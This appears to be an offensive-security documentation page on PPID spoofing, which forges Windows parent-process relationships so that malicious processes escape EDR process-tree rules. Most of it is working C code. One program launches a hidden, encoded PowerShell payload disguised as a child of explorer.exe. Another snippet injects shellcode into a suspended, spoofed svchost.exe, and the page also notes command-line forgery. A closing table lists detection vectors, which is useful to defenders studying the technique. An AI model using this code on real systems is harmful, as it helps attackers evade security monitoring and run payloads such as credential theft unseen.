For the complete documentation index, see llms.txt. This page is also available as Markdown.
PPID Spoofing — Forging the Process Tree
Why the Process Tree Matters
One of the simplest and most effective forms of malicious behavior detection is analysis of parent-child relationships between processes. EDRs and SIEMs build rules around what is "normal" for a process tree:
winword.exe should never spawn cmd.exe directly
explorer.exe is the expected parent of interactive applications
lsass.exe should not have children
powershell.exe spawned by mshta.exe is highly suspicious
When an attacker executes cmd.exe after exploiting an Office document, the system records WINWORD.EXE (PID 1234) → cmd.exe (PID 5678) — a trivially suspicious relationship.
PPID Spoofing (parent process ID forgery) allows creating a process with an arbitrary PPID, making it appear to have been spawned by any legitimate process — explorer.exe, svchost.exe, or any other.
┌──────────────────────────────────────────────────────────────────────┐
│ Process Tree: Real vs. Spoofed │
│ │
│ WITHOUT PPID SPOOFING: │
│ explorer.exe (1234) │
│ └── WINWORD.EXE (5678) │
│ └── powershell.exe (9012) ← SUSPICIOUS — child of Word │
│ └── mimikatz.exe (1111) │
│ │
│ WITH PPID SPOOFING: │
│ explorer.exe (1234) │
│ ├── WINWORD.EXE (5678) ← real parent (invisible to EDR) │
│ └── powershell.exe (9012) ← appears as legitimate child of │
│ └── mimikatz.exe (1111) explorer │
│ │
│ The EDR sees PowerShell as a legitimate child of explorer. │
└──────────────────────────────────────────────────────────────────────┘
The Mechanism: UpdateProcThreadAttribute
The CreateProcess API accepts an extended attributes structure (LPPROC_THREAD_ATTRIBUTE_LIST) that allows, among other things, specifying an alternative "parent process handle" via PROC_THREAD_ATTRIBUTE_PARENT_PROCESS.
When this attribute is set, the kernel registers the child process with the PPID of the process referenced by the handle — not with the PPID of the process that called CreateProcess.
Implementation
Combining PPID Spoofing with Other Techniques
In practice, PPID Spoofing is almost always combined with other evasion techniques:
With Shellcode Injection
With Command Line Spoofing
Beyond the PPID, we can also forge the command line of the process (visible in the PEB). This is done by writing directly to the PEB after process creation:
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
// Find a process PID by name
DWORD GetPidByName(const char* processName) {
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnap == INVALID_HANDLE_VALUE) return 0;
PROCESSENTRY32 pe = { .dwSize = sizeof(pe) };
if (!Process32First(hSnap, &pe)) {
CloseHandle(hSnap);
return 0;
}
do {
if (_stricmp(pe.szExeFile, processName) == 0) {
CloseHandle(hSnap);
return pe.th32ProcessID;
}
} while (Process32Next(hSnap, &pe));
CloseHandle(hSnap);
return 0;
}
// Create a process with a spoofed PPID
BOOL CreateProcessWithSpoofedPPID(
const char* targetExe,
const char* cmdLine,
const char* fakePPIDName,
PROCESS_INFORMATION* pi
) {
// 1. Find the PID of the process that will appear as parent
DWORD fakePPID = GetPidByName(fakePPIDName);
if (!fakePPID) {
printf("[-] Fake parent process '%s' not found\n", fakePPIDName);
return FALSE;
}
printf("[+] PID of '%s' (fake parent): %lu\n", fakePPIDName, fakePPID);
// 2. Open a handle to the fake parent process
// PROCESS_CREATE_PROCESS is required to use it as a parent
HANDLE hFakeParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, fakePPID);
if (!hFakeParent) {
printf("[-] Failed to open parent process: %lu\n", GetLastError());
return FALSE;
}
// 3. Initialize the process/thread attribute list
SIZE_T attrSize = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
LPPROC_THREAD_ATTRIBUTE_LIST attrList =
(LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
GetProcessHeap(), 0, attrSize
);
if (!attrList) {
CloseHandle(hFakeParent);
return FALSE;
}
if (!InitializeProcThreadAttributeList(attrList, 1, 0, &attrSize)) {
HeapFree(GetProcessHeap(), 0, attrList);
CloseHandle(hFakeParent);
return FALSE;
}
// 4. Set the parent process attribute
if (!UpdateProcThreadAttribute(
attrList,
0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, // 0x00020000
&hFakeParent,
sizeof(HANDLE),
NULL, NULL
)) {
printf("[-] UpdateProcThreadAttribute failed: %lu\n", GetLastError());
DeleteProcThreadAttributeList(attrList);
HeapFree(GetProcessHeap(), 0, attrList);
CloseHandle(hFakeParent);
return FALSE;
}
// 5. Create the process with the spoofed PPID
STARTUPINFOEXA si = {0};
si.StartupInfo.cb = sizeof(si);
si.StartupInfo.dwFlags = STARTF_USESHOWWINDOW;
si.StartupInfo.wShowWindow = SW_HIDE;
si.lpAttributeList = attrList;
memset(pi, 0, sizeof(*pi));
char cmdLineBuf[1024];
snprintf(cmdLineBuf, sizeof(cmdLineBuf), "%s", cmdLine);
BOOL result = CreateProcessA(
targetExe,
cmdLineBuf,
NULL, NULL,
FALSE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_NO_WINDOW,
NULL, NULL,
(LPSTARTUPINFOA)&si,
pi
);
// 6. Cleanup
DeleteProcThreadAttributeList(attrList);
HeapFree(GetProcessHeap(), 0, attrList);
CloseHandle(hFakeParent);
if (!result) {
printf("[-] CreateProcess failed: %lu\n", GetLastError());
return FALSE;
}
printf("[+] Process created: PID %lu, apparent PPID: %lu (%s)\n",
pi->dwProcessId, fakePPID, fakePPIDName);
return TRUE;
}
int main(void) {
PROCESS_INFORMATION pi;
// Execute powershell.exe appearing as a child of explorer.exe
if (CreateProcessWithSpoofedPPID(
"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
"powershell.exe -NoP -NonI -W Hidden -Enc <base64_payload>",
"explorer.exe",
&pi
)) {
printf("[+] Success! PowerShell running with explorer's PPID.\n");
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
return 0;
}
// Create a suspended process with spoofed PPID, then inject shellcode
PROCESS_INFORMATION pi;
STARTUPINFOEXA si = {0};
si.StartupInfo.cb = sizeof(si);
si.lpAttributeList = attrList; // Configured with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
CreateProcessA(
"C:\\Windows\\System32\\svchost.exe",
NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED | EXTENDED_STARTUPINFO_PRESENT,
NULL, NULL,
(LPSTARTUPINFOA)&si, &pi
);
// With the process suspended and PPID spoofed, inject shellcode
PVOID pRemote = VirtualAllocEx(pi.hProcess, NULL, shellcodeSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, pRemote, shellcode, shellcodeSize, NULL);
// Redirect main thread to shellcode
CONTEXT ctx = { .ContextFlags = CONTEXT_FULL };
GetThreadContext(pi.hThread, &ctx);
ctx.Rcx = (DWORD64)pRemote;
SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);
// Create process with a fake command line (visible in Process Explorer)
// The real (malicious) command line is passed internally via shellcode
// Process appears as: "C:\Windows\System32\svchost.exe -k NetworkService"
// but actually executes something else
┌──────────────────────────────────────────────────────────────────────┐
│ PPID Spoofing Limitations and Detection Vectors │
│ │
│ 1. Token/privilege inheritance │
│ • The child process inherits the token of the process that │
│ called CreateProcess, NOT the token of the "fake parent" │
│ • This creates an inconsistency: PPID points to explorer but │
│ the access token belongs to the attacker's process │
│ │
│ 2. Detection via event correlation │
│ • Sysmon Event ID 1 records PPID via kernel ETW │
│ • EDRs correlate declared PPID against event history │
│ │
│ 3. Inconsistent user session │
│ • If the fake parent is in a different session (e.g., session 0)│
│ and the child is in session 1, the inconsistency is detectable │
│ │
│ 4. Sysmon Event 1 with ParentProcessGUID │
│ • Tracks GUIDs, not just PIDs │
│ • PIDs can be recycled; GUIDs cannot │
│ │
│ 5. OpenProcess with PROCESS_CREATE_PROCESS is logged │
│ • Some EDR implementations monitor this access right │
└──────────────────────────────────────────────────────────────────────┘